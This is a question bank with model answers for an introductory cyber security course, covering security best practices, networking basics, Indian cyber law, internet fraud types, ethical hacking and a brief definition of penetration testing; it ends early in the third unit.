

Unit-wise Question Bank – Introduction to Cyber Security

UNIT – I: Information Security Fundamentals & Best Practices

Part-A (2 Marks – Short Answer)

1. Define Information Security.

Information Security is the practice of protecting information from unauthorized access, use, disclosure, modification, or destruction.

It ensures three main objectives (CIA Triad):

- **Confidentiality** → Only authorized users can access the information.
- **Integrity** → Information remains accurate and unaltered.
- **Availability** → Information is accessible to authorized users when needed.

Example:

Protecting your online banking account by using a strong password, two-factor authentication, and encryption to prevent hackers from stealing your data.

2. What is meant by “Compromised Computer”?

A Compromised Computer is a computer system that has been breached or taken over by an unauthorized person, often through malware, hacking, or security vulnerabilities.

Once compromised, the attacker can:

- Steal sensitive information
- Install malicious software
- Use the computer to launch attacks on other systems
- Spy on the user’s activities

Example:

If your laptop is infected with a Trojan horse, a hacker might control it remotely to send spam emails or mine cryptocurrency without your knowledge.

3. List two safe internet usage practices.

Two **safe internet usage practices** are:

1. **Use strong, unique passwords** for each online account — mix letters, numbers, and symbols to make them hard to guess.
2. **Avoid clicking suspicious links or attachments** in emails, messages, or pop-ups, as they may lead to phishing or malware.

Example:

Using a password like Gm@!2yX#7p instead of password123 and ignoring an email claiming “You’ve won a prize — click here!”

4. Write the importance of securing computer networks.**Importance of Securing Computer Networks**

Securing computer networks is essential to protect data, systems, and users from cyber threats. Key reasons include:

1. **Protects Sensitive Data** – Prevents theft or leakage of confidential information such as financial records, passwords, and personal details.
2. **Prevents Unauthorized Access** – Stops hackers or malicious users from entering the network.
3. **Ensures Business Continuity** – Avoids downtime and disruption caused by attacks like ransomware or DDoS.
4. **Maintains Trust** – Builds confidence among customers, employees, and partners by keeping systems safe.
5. **Compliance with Laws** – Meets legal and regulatory requirements for data protection.

Example:

A company with a secure firewall and intrusion detection system can block hackers from stealing customer credit card information.

5. Give two examples of secure communication methods.

Two examples of **secure communication methods** are:

1. **End-to-End Encrypted Messaging** – Apps like **Signal** or **WhatsApp** encrypt messages so only the sender and receiver can read them.
2. **Virtual Private Network (VPN)** – Encrypts internet traffic between your device and the VPN server, preventing eavesdropping.

Example:

Sending sensitive business documents through an **encrypted email service** like ProtonMail ensures no third party can read them in transit.

6. Define Privacy Guidelines.**Privacy Guidelines**

Privacy guidelines are a set of rules, policies, and best practices designed to protect individuals’ personal information from misuse, unauthorized access, or disclosure. They ensure that data is collected, stored, and shared responsibly and only for legitimate purposes.

Example:

A company following privacy guidelines will:

- Ask for user consent before collecting personal data.
- Store data securely using encryption.
- Share information only with authorized parties.

7. What is the main purpose of network security?

The main purpose of network security is **to protect the integrity, confidentiality, and availability of data and resources in a computer network** from unauthorized access, misuse, or attacks.

Key Points:

- **Confidentiality** – Ensures only authorized users can access sensitive information.
- **Integrity** – Prevents unauthorized changes or tampering with data.
- **Availability** – Keeps network services and resources accessible to legitimate users without disruption.

Example:

Using a firewall to block hackers from entering a company's internal network while allowing employees to work without interruptions.

8. State any two information security best practices.

Two **information security best practices** are:

1. **Use Strong and Unique Passwords** – Combine letters, numbers, and special characters, and avoid using the same password for multiple accounts.
2. **Regular Software Updates** – Keep operating systems, applications, and security software up to date to fix vulnerabilities.

Example:

Updating your web browser regularly prevents hackers from exploiting known security flaws.

Part-B (12 Marks – Long Answer)

1. Explain different types of cyber threats to personal computers and networks.

Types of Cyber Threats to Personal Computers and Networks

Cyber threats are malicious activities intended to damage, steal, or disrupt information and systems. Here are the main types:

1. Malware (Malicious Software)

- **Definition:** Software designed to harm or exploit computers.
- **Examples:** Viruses, worms, trojans, ransomware, spyware.
- **Impact:** Can delete files, steal personal information, or lock systems for ransom.

2. Phishing Attacks

- **Definition:** Fraudulent attempts to obtain sensitive data by pretending to be a trustworthy source (often via email or messages).
- **Impact:** Leads to identity theft, financial loss, and unauthorized access.

3. Denial of Service (DoS) and Distributed Denial of Service (DDoS)

- **Definition:** Overloading a network or website with traffic to make it unavailable to legitimate users.
- **Impact:** Service downtime, loss of revenue, reputational damage.

4. Man-in-the-Middle (MitM) Attacks

- **Definition:** An attacker secretly intercepts and possibly alters communication between two parties.
- **Impact:** Theft of login credentials, financial data, or private messages.

5. Password Attacks

- **Definition:** Attempts to crack or guess passwords through brute force, dictionary attacks, or social engineering.
- **Impact:** Unauthorized access to accounts and systems.

6. Insider Threats

- **Definition:** Malicious or careless actions by employees or trusted users.
- **Impact:** Data leaks, sabotage, or theft of intellectual property.

Example Scenario: A user downloads a “free” software that contains a **trojan**. The malware steals banking credentials, while a **phishing email** tricks them into giving away their password.

2. Discuss “Information Security Best Practices” in detail.

Information Security Best Practices

Information Security (InfoSec) best practices are **guidelines and strategies** followed to protect data, systems, and networks from unauthorized access, theft, or damage. They help ensure **confidentiality, integrity, and availability (CIA)** of information.

1. Use Strong and Unique Passwords

- **What to do:**
 - Minimum 8–12 characters.
 - Mix of uppercase, lowercase, numbers, and special characters.
 - Avoid personal details like birthdays or names.
- **Why:** Prevents brute force and dictionary attacks.
- **Example:** Instead of password123, use R@inB0w!Tree_93.

2. Enable Multi-Factor Authentication (MFA)

- **What to do:** Add a second verification step (OTP, fingerprint, authenticator app).
- **Why:** Even if the password is stolen, the account remains protected.
- **Example:** Gmail login with password + OTP sent to mobile.

3. Keep Software and Systems Updated

- **What to do:** Regularly install OS and application updates.
- **Why:** Updates fix security vulnerabilities.
- **Example:** Windows Update, antivirus definitions, browser updates.

4. Use Firewalls and Antivirus

- **What to do:** Enable network firewalls and install reputable antivirus software.
- **Why:** Blocks malicious traffic and detects harmful programs.
- **Example:** Windows Defender Firewall, Kaspersky, Bitdefender.

5. Backup Data Regularly

- **What to do:** Use offline or cloud backups.
- **Why:** Protects against ransomware, hardware failure, or accidental deletion.
- **Example:** Weekly backup to an external hard drive + Google Drive.

6. Beware of Phishing & Social Engineering

- **What to do:** Verify email senders, avoid clicking suspicious links, don't share confidential info.
- **Why:** Prevents identity theft and malware infections.
- **Example:** Avoid clicking on an email claiming "You've won a prize" with a strange link.

7. Secure Your Network

- **What to do:** Use WPA3/WPA2 encryption for Wi-Fi, change default router passwords.
- **Why:** Stops outsiders from intercepting your internet traffic.
- **Example:** Home Wi-Fi secured with a strong password instead of default admin123.

8. Limit User Access (Principle of Least Privilege)

- **What to do:** Give users only the permissions they need.
- **Why:** Reduces risk from compromised accounts.
- **Example:** Employees not needing admin rights shouldn't have them.

9. Encrypt Sensitive Data

- **What to do:** Use encryption tools for stored and transmitted data.
- **Why:** Keeps data unreadable to unauthorized users.
- **Example:** End-to-end encrypted messaging apps like Signal or WhatsApp.

10. Physical Security

- **What to do:** Lock devices, secure server rooms, use CCTV.
- **Why:** Prevents unauthorized physical access to systems.
- **Example:** Laptop auto-lock after 5 minutes of inactivity.

3. Explain privacy guidelines with real-time examples.

Privacy guidelines are **rules and recommended practices that help organizations and individuals protect personal and sensitive data from misuse, unauthorized access, and breaches.**

They ensure **data confidentiality, lawful processing, and user trust.**

Key Privacy Guidelines

1. **Data Minimization** – Collect only the information that is necessary.
Example: An online shopping site asks for your delivery address but not your Aadhaar number.

2. **User Consent** – Always get permission before collecting or sharing personal data.
Example: A mobile app requesting permission to access your location before using GPS services.
3. **Secure Data Storage** – Store data in encrypted formats to prevent unauthorized access.
Example: A bank encrypting customer account details in its database.
4. **Access Control** – Limit data access to authorized personnel only.
Example: Only HR staff having access to employee salary records.
5. **Transparency** – Clearly inform users how their data will be used.
Example: Websites showing a “Privacy Policy” explaining what data is collected and why.
6. **Data Retention Policies** – Keep personal data only for as long as needed.
Example: A job portal deleting applicant resumes after 6 months of inactivity.
7. **Regular Privacy Audits** – Check compliance with privacy laws and guidelines.
Example: A healthcare organization conducting annual privacy audits to ensure HIPAA compliance.

In short: Privacy guidelines protect individuals’ rights, maintain trust, and ensure compliance with laws like GDPR, HIPAA, and India’s Digital Personal Data Protection Act (DPDPA).

4. Describe the process of securing computer networks.

Process of Securing Computer Networks

Securing a computer network means **protecting it from unauthorized access, misuse, damage, or disruption** while ensuring that legitimate users can use it without problems. The process generally involves the following steps:

1. Risk Assessment

- Identify network assets (servers, routers, switches, data).
- Find possible threats and vulnerabilities.
Example: Detecting that the office Wi-Fi router uses a weak default password.

2. Implement Strong Access Controls

- Use strong passwords, two-factor authentication, and user account permissions.
Example: Giving “admin” rights only to network administrators.

3. Use Firewalls and Intrusion Prevention Systems (IPS)

- Firewalls filter incoming and outgoing traffic based on security rules.
- IPS detects and blocks suspicious activities in real time.
Example: Blocking traffic from blacklisted IP addresses.

4. Encrypt Data

- Use encryption for data **in transit** (SSL/TLS, VPN) and **at rest** (AES, BitLocker).
Example: A company encrypting all employee emails.

5. Update and Patch Systems

- Regularly update operating systems, network devices, and applications to fix security holes.
Example: Installing the latest Windows security patch to prevent ransomware attacks.

6. Monitor and Audit the Network

- Use tools like SIEM (Security Information and Event Management) to track unusual activity.
Example: Detecting multiple failed login attempts from the same IP address.

7. Backup Data Regularly

- Keep multiple backups (local + cloud) for quick recovery after a cyberattack.
Example: Daily backup of company database to a secure cloud server.

8. Educate Users

- Train employees and users to avoid phishing, suspicious downloads, and weak passwords.
Example: Conducting quarterly cybersecurity awareness sessions.

5. Explain “Safe Internet Usage” in detail.

Safe Internet Usage

Safe Internet Usage means **using the internet responsibly and securely** to protect your personal information, devices, and online activities from cyber threats, while following legal and ethical rules. It’s about **being careful, aware, and smart** when you browse, communicate, or share anything online.

➤ Key Principles of Safe Internet Usage

1. Protect Your Personal Information

- Never share sensitive data (like bank details, passwords, or Aadhaar number) on unsafe websites or with unknown people.
- Check if a website is secure (look for “https://” and a padlock icon).
Example: Entering credit card details only on secure e-commerce sites like Amazon or Flipkart.

2. Use Strong Passwords & Two-Factor Authentication (2FA)

- Create passwords with a mix of letters, numbers, and symbols.

- Use 2FA to add an extra layer of security.

Example: Gmail sending you an OTP before logging in from a new device.

3. Beware of Phishing & Scams

- Do not click on suspicious links in emails, SMS, or social media.
- Verify sender identity before downloading attachments.

Example: Ignoring an email claiming “You’ve won \$1 million” and asking for bank details.

4. Keep Devices & Software Updated

- Regularly update your operating system, browsers, and apps to fix security flaws.
- Use antivirus software.

Example: Updating Windows to protect against ransomware like WannaCry.

5. Avoid Using Public Wi-Fi Without Protection

- Use a VPN (Virtual Private Network) when connecting to public Wi-Fi.
- Avoid logging into banking accounts on public networks.

Example: Using a VPN app when working in a coffee shop.

6. Download Only from Trusted Sources

- Get apps from official stores (Google Play Store, Apple App Store).
- Avoid pirated software and cracked versions.

Example: Installing Microsoft Office from the official Microsoft website.

7. Be Careful on Social Media

- Limit what you share publicly (location, personal life details).
- Adjust privacy settings.

Example: Keeping your Facebook profile visible only to friends.

8. Think Before You Click

- Check links before opening.
- Avoid pop-up ads claiming free prizes.

Example: Hovering over a link to see the real destination before clicking.

➤ Real-Time Examples of Unsafe Internet Use & Consequences

Unsafe Action	Possible Threat
Clicking on unknown email links	Phishing attack, account theft

Using “123456” as a password	Easy hacking
Downloading pirated movies	Malware infection, legal action
Sharing vacation plans publicly	Risk of burglary

➤ **Best Practices for Safe Internet Usage**

Practice	Why it's important
Use HTTPS websites	Encrypts your data
Enable firewall	Blocks suspicious traffic
Backup data regularly	Recover from cyberattacks
Educate yourself	Stay updated on cyber threats

6. Write about secure communication protocols with examples.

Secure Communication Protocols

Secure communication protocols are special rules and procedures used to protect data while it is being transmitted over a network. These protocols ensure that the data remains **confidential, intact, and accessible only to authorized parties.**

Key Goals of Secure Communication Protocols

- **Confidentiality** – Data is encrypted so that unauthorized people cannot read it.
- **Integrity** – Prevents data from being modified during transmission.
- **Authentication** – Verifies the identity of the sender and receiver.
- **Non-repudiation** – Ensures that a sender cannot deny sending a message.

Common Secure Communication Protocols and Examples

a) HTTPS (Hypertext Transfer Protocol Secure)

- Used for secure web browsing.
- Encrypts data between the browser and the website using SSL/TLS.
- **Example:** Banking websites, e-commerce transactions.

b) SSL/TLS (Secure Sockets Layer / Transport Layer Security)

- Provides encryption for internet communication.
- Works with various applications like email, VoIP, and instant messaging.
- **Example:** Gmail uses TLS to secure emails in transit.

c) S/MIME (Secure/Multipurpose Internet Mail Extensions)

- Encrypts and digitally signs email messages.
- Ensures privacy and authenticity of emails.
- **Example:** Corporate email systems for confidential communication.

d) IPsec (Internet Protocol Security)

- Works at the network layer to encrypt and authenticate IP packets.
- Often used in VPNs (Virtual Private Networks).
- **Example:** Remote employees securely connecting to a company's network.

e) SSH (Secure Shell)

- Secure method to remotely access and manage servers.
- Encrypts commands and data sent over the network.
- **Example:** System administrators managing cloud servers securely.

Real-World Example

When you shop online, **HTTPS** ensures that your credit card information is encrypted during the transaction, preventing hackers from stealing your details.

7. Explain the importance of protecting your computer and its contents.

Protecting your computer and its data is essential because modern computers store a wide range of **personal, financial, professional, and sensitive information**. If left unprotected, this information can be stolen, destroyed, or misused, leading to **financial loss, identity theft, privacy invasion, or system damage**.

✓ Reasons Why Protection is Important**a) Preventing Data Loss**

- Important documents, photos, and project files can be lost due to malware, accidental deletion, or hardware failure.
- **Example:** A virus corrupting all your college assignments or office reports.

b) Protecting Personal Information

- Hackers can steal personal details like name, address, Aadhaar number, or bank credentials.
- **Example:** Phishing attacks stealing credit card information from online users.

c) Avoiding Financial Loss

- Cybercriminals can misuse your bank accounts, credit cards, or online wallets if your computer is not secure.
- **Example:** Ransomware attacks demanding money to unlock files.

d) Maintaining Privacy

- Without protection, hackers can track your activities, capture your keystrokes, or turn on your webcam without permission.
- **Example:** Spyware recording your personal conversations.

e) Ensuring Business Continuity

- In organizations, data breaches can halt operations, damage reputation, and lead to legal consequences.
- **Example:** An unprotected company server leaking customer data to competitors.

✓ Ways to Protect Your Computer

1. Use **antivirus and anti-malware software** to detect and remove threats.
2. **Enable firewalls** to block unauthorized access.
3. **Regularly update operating systems and software** to patch security vulnerabilities.
4. Use **strong passwords** and enable multi-factor authentication.
5. **Backup data** regularly to an external drive or cloud storage.

Real-World Example

In 2017, the **WannaCry ransomware attack** infected over **200,000 computers** in 150 countries, encrypting files and demanding payment. Many victims could have avoided it by keeping their systems updated with the latest security patches.

8. Discuss basics of networking relevant to cyber security.

Basics of Networking Relevant to Cyber Security

Networking forms the backbone of communication between computers, devices, and servers. In **cyber security**, understanding the basics of networking is crucial because most attacks, threats, and defenses operate over networks.

1. What is Computer Networking?

A **computer network** is a collection of interconnected devices (computers, servers, routers, switches, etc.) that share data and resources.

- **Example:** The internet, a local office network (LAN), or a home Wi-Fi network.

2. Key Networking Concepts in Cyber Security

a) IP Address & MAC Address

- **IP Address:** A unique logical identifier for a device on a network (e.g., 192.168.1.5).
- **MAC Address:** A unique hardware address assigned to a network card (e.g., 00:1A:2B:3C:4D:5E).
- **Cyber Security Relevance:** IPs help trace network activity, while MAC addresses help identify specific devices.

b) Types of Networks

1. **LAN (Local Area Network)** – Small area like an office.
 2. **WAN (Wide Area Network)** – Large area, e.g., the internet.
 3. **MAN (Metropolitan Area Network)** – Covers a city.
 4. **PAN (Personal Area Network)** – Small range, e.g., Bluetooth.
- **Cyber Security Relevance:** Different network types have different vulnerabilities; e.g., Wi-Fi hacking is common in LANs.

c) Protocols

Protocols define how data is transmitted. Common ones:

- **TCP/IP** – The foundation of internet communication.
- **HTTP/HTTPS** – For web browsing (HTTPS is secure).
- **FTP/SFTP** – For file transfers (SFTP is secure).
- **SMTP/IMAP/POP3** – For emails.
- **Cyber Security Relevance:** Secure versions (HTTPS, SFTP, SMTPS) protect against eavesdropping.

d) Ports and Services

- **Ports:** Virtual doorways for specific types of network communication (e.g., Port 80 for HTTP, Port 443 for HTTPS).
- **Cyber Security Relevance:** Open ports can be exploited; port scanning is a common hacking technique.

e) Firewalls and Intrusion Detection Systems (IDS)

- **Firewall:** Filters incoming and outgoing traffic based on rules.
- **IDS:** Monitors for suspicious activity.
- **Cyber Security Relevance:** First line of defense against unauthorized access.

f) DNS (Domain Name System)

- Converts domain names (like google.com) into IP addresses.
- **Cyber Security Relevance:** DNS hijacking can redirect users to malicious sites.

3. Networking Threats in Cyber Security

- **Phishing:** Fake websites to steal data.
- **Man-in-the-Middle (MITM) Attacks:** Intercepting communication.
- **DDoS (Distributed Denial of Service):** Flooding a network with traffic to crash it.
- **Packet Sniffing:** Capturing unencrypted data packets.

4. Importance of Networking Knowledge for Cyber Security

- Helps identify and trace cyber-attacks.
- Enables configuration of secure systems.
- Helps understand attacker methods like port scanning, IP spoofing, and DNS attacks.
- Assists in implementing secure protocols and firewalls.

UNIT – II: Ethics in Cyber Security & Cyber Law**Part-A (2 Marks – Short Answer)****1. Define Cyber Law.**

Cyber Law: Cyber Law refers to the set of laws, rules, and regulations that govern the use of the internet, digital devices, and online communication. It deals with issues such as cybercrimes, online privacy, intellectual property rights, electronic transactions, and data protection.

Example:

In India, the **Information Technology Act, 2000 (IT Act)** is the main cyber law that addresses offenses like hacking, identity theft, and online fraud.

2. What is meant by “Fair Use” in cyber security?

Fair Use in Cyber Security

Fair Use refers to the legal principle that allows limited use of copyrighted digital material **without the permission of the copyright owner**, for purposes such as education, research, criticism, commentary, or news reporting.

In cyber security, fair use is important when accessing, sharing, or reproducing digital content — ensuring that such use does not violate copyright laws.

Example:

A teacher showing a short clip of a cybersecurity documentary in a classroom for educational purposes is considered **fair use**, but uploading the full movie online for public download is **not**.

3. Define Intellectual Property.

Intellectual Property (IP)

Intellectual Property refers to **creations of the mind** — such as inventions, artistic works, designs, symbols, names, and images — that are legally protected from unauthorized use by others.

It gives the creator **exclusive rights** to use, produce, or sell their creation for a certain period.

Examples in Cyber Security:

- Software programs (protected by copyright or patents)
- Company logos (protected by trademarks)
- Unique algorithms or encryption techniques (protected by patents/trade secrets)

4. Give an example of a cybercrime.

Example of a Cybercrime:

Phishing Attack – Sending fake emails pretending to be from a bank to trick people into giving their login credentials or credit card information.

5. What is Ethical Hacking?

Ethical Hacking: Ethical hacking is the authorized practice of intentionally probing computer systems, networks, or applications to identify security vulnerabilities and fix them before malicious hackers can exploit them. Ethical hackers work with permission and follow legal guidelines.

Example: A company hires a security expert to test its website for weaknesses and provide solutions to strengthen security.

6. Mention any two types of electronic evidence.

Two types of electronic evidence:

1. **Emails** – Messages, attachments, and metadata that can be used as proof in investigations.
2. **Digital Documents** – Files such as PDFs, Word documents, or spreadsheets stored on computers or cloud systems.

7. Define Freedom of Speech in the context of cyber space.

Freedom of Speech in the context of cyberspace: It is the right of individuals to express their opinions, ideas, and information through the internet or other digital platforms without censorship or undue restriction, while respecting laws related to hate speech, defamation, and national security.

8. List two types of internet fraud.

Two types of internet fraud:

1. **Phishing** – Sending fake emails or messages to trick people into sharing sensitive information like passwords or bank details.
2. **Online Auction Fraud** – Misrepresenting products or failing to deliver items after payment on e-commerce or auction sites.

Part-B (12 Marks – Long Answer)

1. Discuss privacy and intellectual property in cyber security.

1. Privacy in Cyber Security

Privacy refers to the right of individuals and organizations to keep their personal, sensitive, or confidential data safe from unauthorized access, misuse, or disclosure.

- **Importance:** Protects against identity theft, fraud, and misuse of personal data.
- **Examples in Real Time:**
 - Social media platforms allowing users to control who sees their posts.
 - Encrypted messaging apps like **Signal** and **WhatsApp** to keep conversations private.
- **Best Practices for Privacy:**
 - Use strong passwords and two-factor authentication.
 - Limit sharing of personal data online.
 - Regularly update privacy settings on websites and apps.

2. Intellectual Property (IP) in Cyber Security

Intellectual Property refers to creations of the mind, such as inventions, literary works, designs, symbols, or software, that are legally protected from unauthorized use.

- **Types of IP:**

1. **Copyrights** – Protect books, software, music, videos.
2. **Patents** – Protect inventions and technical solutions.
3. **Trademarks** – Protect brand names, logos, and symbols.
4. **Trade Secrets** – Protect confidential business information.

- **Importance in Cyber Security:** Prevents piracy, plagiarism, and software theft.

- **Examples in Real Time:**

- Microsoft suing a company for pirated Windows software.
- A movie studio taking legal action against illegal torrent sites.

In short:

- **Privacy** protects personal data.
- **Intellectual Property** protects creative and innovative work.

2. Explain professional ethics in cyber security with examples.

Professional Ethics in Cyber Security

Definition:

Professional ethics in cyber security refers to the moral principles, standards, and guidelines that govern how cyber security professionals should behave while performing their duties. It ensures that they act with honesty, integrity, and responsibility to protect systems, data, and users from harm.

Key Principles of Professional Ethics in Cyber Security

1. **Integrity and Honesty** – Never mislead clients or employers; provide truthful reports on security findings.
2. **Confidentiality** – Keep sensitive data secret unless authorized to disclose it.
3. **Non-Maleficence (Do No Harm)** – Ensure that actions do not intentionally or negligently harm systems or individuals.
4. **Competence** – Only perform tasks for which you are qualified and keep skills updated.

5. **Respect for Law** – Follow cyber laws and regulations while performing security tasks.

Examples in Real Life

- **Example 1:** A penetration tester discovers a vulnerability in a bank's server.
 - Ethical behavior: Report the issue to the bank without exploiting it for personal gain.
 - Unethical behavior: Selling the vulnerability details on the dark web.
- **Example 2:** A network administrator finds confidential salary data.
 - Ethical behavior: Keep it private and use it only for authorized purposes.
 - Unethical behavior: Sharing it with other employees or online.
- **Example 3:** A cyber security consultant is hired to assess a company's security.
 - Ethical behavior: Conduct only agreed-upon tests and follow the scope.
 - Unethical behavior: Access personal email accounts of employees without permission.

In short:

Professional ethics ensures cyber security experts protect data, respect privacy, follow laws, and avoid actions that could harm individuals or organizations.

3. Write about trademarks and their importance in cyber law.

Trademarks and Their Importance in Cyber Law

Definition of Trademark

A **trademark** is a symbol, word, phrase, logo, design, or combination of these that identifies and distinguishes the goods or services of one business from others.

Example: *Apple logo, Nike's "Swoosh", Google's name in a specific font.*

Trademarks in Cyber Law

In the digital world, trademarks are also protected under **cyber law** to prevent:

- **Cybersquatting** – Registering domain names similar to famous trademarks to profit from selling them back.
- **Trademark Infringement** – Using a brand's logo, name, or domain without permission to mislead users.
- **Counterfeiting** – Selling fake products online using a company's brand identity.

Cyber law ensures that online businesses and e-commerce platforms cannot misuse registered trademarks.

Importance of Trademarks in Cyber Law

1. **Brand Protection** – Safeguards a company's reputation and prevents misuse of its identity.
2. **Consumer Trust** – Helps customers identify genuine products/services in the digital marketplace.
3. **Legal Ownership** – Gives the trademark owner exclusive rights to use and control its usage.
4. **Prevention of Fraud** – Stops cybercriminals from deceiving customers using fake branding.
5. **Global Recognition** – Protects brand identity across countries in online business.

Example

If someone registers the domain “**amazonn-sale.com**” and uses Amazon's logo to scam customers, it violates trademark rights. Under cyber law, Amazon can take legal action to remove the site and claim damages.

4. Describe various types of internet fraud with examples.

Types of Internet Fraud with Examples

1. Phishing

- **Meaning:** Fraudulent attempts to obtain sensitive information (passwords, bank details) by pretending to be a trusted entity.
- **Example:** Receiving an email that looks like it's from your bank, asking you to “verify” your account by clicking a fake link.

2. Identity Theft

- **Meaning:** Stealing someone's personal information to commit fraud or crimes.
- **Example:** Using stolen Aadhaar or credit card details to make online purchases.

3. Online Shopping Fraud

- **Meaning:** Fake e-commerce websites selling products that never get delivered or delivering poor-quality items.
- **Example:** A website offering branded shoes at 90% discount, but sending cheap imitations or nothing at all.

4. Advance Fee Fraud

- **Meaning:** Asking for upfront payment with the promise of large returns that never materialize.
- **Example:** “Lottery winnings” emails asking for processing fees before releasing the prize.

5. Auction Fraud

- **Meaning:** Misrepresenting products in online auctions or not delivering them after payment.
- **Example:** Selling a “new” laptop on eBay but delivering an old or non-working one.

6. Credit Card Fraud

- **Meaning:** Unauthorized use of someone’s credit/debit card information for transactions.
- **Example:** Skimming card data and using it for online shopping without the owner’s consent.

5. Explain cybercrimes and their classification.

Cybercrimes and Their Classification

Definition of Cybercrime

Cybercrime refers to **illegal activities carried out using computers, networks, or the internet** as a tool, target, or both.

It includes activities that harm individuals, organizations, or governments through data theft, fraud, disruption, or unauthorized access.

Classification of Cybercrimes

1. Crimes Against Individuals

- Target a person’s data, identity, or privacy.
- **Examples:**
 - Identity theft (stealing personal details)
 - Cyberstalking (harassing someone online)
 - Phishing (tricking to reveal passwords)
 - Defamation via social media posts

2. Crimes Against Property

- Target digital assets like data, software, and systems.

- **Examples:**

- Hacking into systems
- Malware attacks destroying data
- Intellectual property theft (pirated software, music, movies)
- Ransomware (locking files and demanding payment)

3. Crimes Against Government / Society

- Target government systems or public infrastructure, affecting national security.

- **Examples:**

- Cyberterrorism (attacking power grids, defense systems)
- Website defacement of government portals
- Spreading fake news to cause panic
- Denial-of-Service (DoS) attacks on critical services

6. Discuss the role of cyber laws in India.

Role of Cyber Laws in India

Introduction

Cyber laws in India are legal frameworks designed to regulate activities in **cyberspace**—covering the internet, computers, digital devices, and electronic communication. They protect individuals, organizations, and the government from cybercrimes, ensure safe e-commerce transactions, and safeguard privacy.

The **Information Technology Act, 2000 (IT Act)** is the primary law governing cyber activities in India, later amended in **2008** to address new threats.

Key Roles of Cyber Laws in India

1. Preventing and Punishing Cybercrimes

- Defines various cyber offences such as hacking, phishing, cyberstalking, identity theft, and cyberterrorism.
- Specifies **penalties** and **punishments** to deter offenders.
- **Example:** Section 66 of IT Act – covers hacking with imprisonment up to 3 years and/or fine.

2. Regulating E-Commerce and Digital Transactions

- Provides **legal recognition** for electronic records and digital signatures.

- Facilitates secure online contracts, banking, and business.
- **Example:** Online agreements signed digitally are legally valid under the IT Act.

3. Protecting Privacy and Data Security

- Ensures protection of sensitive personal data and financial information.
- Mandates security practices for companies handling user data.
- **Example:** Section 43A – organizations are liable to pay compensation for negligence in securing data.

4. Supporting Law Enforcement

- Gives investigative powers to police and cyber cells.
- Allows tracking, interception, and seizure of digital evidence for legal proceedings.

5. Safeguarding Intellectual Property Online

- Protects copyrights, trademarks, and patents in the digital space.
- Helps combat software piracy, illegal downloads, and brand misuse.

6. Securing Critical Infrastructure

- Addresses cyberterrorism and attacks on national security systems.
- **Example:** Section 66F – covers cyberterrorism with imprisonment up to life.

7. Explain the concept of electronic evidence and its legal value.

➤ Concept of Electronic Evidence

Definition:

Electronic evidence refers to any information stored or transmitted in a digital form that can be presented in a court of law as proof in a legal case.

It is also called **Digital Evidence**.

Sources of Electronic Evidence:

- Computers & laptops
- Mobile phones & tablets
- Email servers
- CCTV systems
- Cloud storage services
- Social media platforms

➤ Examples of Electronic Evidence

1. **Emails** – Communication records (e.g., phishing scam emails).
2. **Chat logs** – Messages from WhatsApp, Telegram, or Messenger.
3. **Digital documents** – PDF contracts, scanned agreements.
4. **Multimedia files** – Photos, videos, or audio recordings.
5. **Transaction records** – Online banking logs, cryptocurrency transactions.
6. **Web server logs** – IP addresses, login attempts, and browsing history.

➤ Importance & Legal Value

a. Admissibility in Court

- In India, the **Indian Evidence Act, 1872 (Section 65B)** governs the admissibility of electronic records.
- The evidence must be **authentic, reliable, and untampered**.
- Requires a **certificate under Section 65B** for court acceptance.

b. Benefits in Legal Investigations

- **Accuracy:** Provides exact records of events.
- **Timeline building:** Helps reconstruct crime sequences.
- **Proof of intent:** Shows communication or transaction trails.
- **Wide coverage:** Can link suspects, victims, and crime scenes.

4. Challenges in Using Electronic Evidence

- **Data tampering:** Easily editable or deletable.
- **Authentication issues:** Difficulty proving origin and integrity.
- **Jurisdiction problems:** Servers may be in another country.
- **Privacy concerns:** Must follow legal procedures during data collection.

5. Real-World Example

- In a **cyber fraud case**, bank server logs showing unauthorized online transfers from the victim's account were presented as **electronic evidence**.
- Under Section 65B, the bank provided a certificate verifying the logs' authenticity.
- The court accepted this as proof and convicted the offender.

8. Discuss ethical hacking and its types.

What is Ethical Hacking?

Definition:

Ethical hacking is the authorized practice of bypassing system security to identify vulnerabilities, threats, or weaknesses in a computer system, network, or application **before malicious hackers exploit them.**

Ethical hackers work **with permission** to protect systems.

Key Points:

- Also called **White Hat Hacking**.
- Objective is **protection**, not harm.
- Involves **penetration testing** and **vulnerability assessment**.
- Requires **legal authorization** from the system owner.

Role of an Ethical Hacker

- Simulate cyberattacks to test defenses.
- Identify weaknesses in applications, networks, or devices.
- Suggest fixes to improve security.
- Ensure compliance with cybersecurity standards.

Legal and Ethical Side

- **Legal** if done with permission (e.g., by security teams, consultants).
- **Illegal** if done without consent, even with good intentions.
- Governed by laws like the **IT Act, 2000** in India

Types of Ethical Hacking

a. Web Application Hacking

- **Target:** Websites and web-based services.
- **Goal:** Find vulnerabilities like SQL Injection, XSS, broken authentication.
- **Example:** Testing a bank's online portal for security loopholes.

b. Network Hacking

- **Target:** Wired and wireless networks.
- **Goal:** Identify weaknesses in network devices (routers, firewalls, switches).
- **Example:** Checking if an organization's Wi-Fi uses weak encryption.

c. System Hacking

- **Target:** Operating systems and individual computers.
- **Goal:** Gain unauthorized access by exploiting OS flaws, weak passwords.
- **Example:** Attempting to log in as an admin by cracking the password.

d. Social Engineering

- **Target:** Human psychology instead of technology.
- **Goal:** Trick people into revealing sensitive data.
- **Example:** Phishing emails that pretend to be from HR asking for login credentials.

e. Mobile Application Hacking

- **Target:** Android/iOS apps.
- **Goal:** Find security gaps in mobile apps.
- **Example:** Testing a shopping app for insecure payment gateway integration.

f. Wireless Network Hacking

- **Target:** Wi-Fi networks.
- **Goal:** Detect insecure configurations, weak passwords, or outdated protocols.
- **Example:** Breaking into a network using WPA2 handshake cracking.

Difference Between Ethical & Malicious Hacking

Aspect	Ethical Hacking	Malicious Hacking
Permission	Legal, with consent	Illegal, without consent
Purpose	Security improvement	Data theft, disruption
Outcome	Increases security	Damages security
Example	Penetration testing	Ransomware attack

Real-Life Example

- **Case:** In 2021, an ethical hacker reported a bug in Facebook's login system that could allow account takeover.
- **Result:** Facebook patched the bug and rewarded the hacker with **\$50,000** under its **Bug Bounty Program**.

UNIT – III: Penetration Testing

Part-A (2 Marks – Short Answer)

1. Define penetration testing.

Penetration Testing – Definition:

Penetration testing (also called **pen testing** or **ethical hacking**) is a **simulated cyberattack** performed on a computer system, network, or web application to **find and fix security weaknesses** before malicious hackers can exploit them.

In simple terms, it is like **hiring a friendly hacker** to test how secure your systems are.

Example:

A bank hires a cybersecurity team to try to hack into their online banking system to check if customer data can be stolen. If weaknesses are found, the bank fixes them immediately.

Key Points:

- Done **legally** with proper permission.
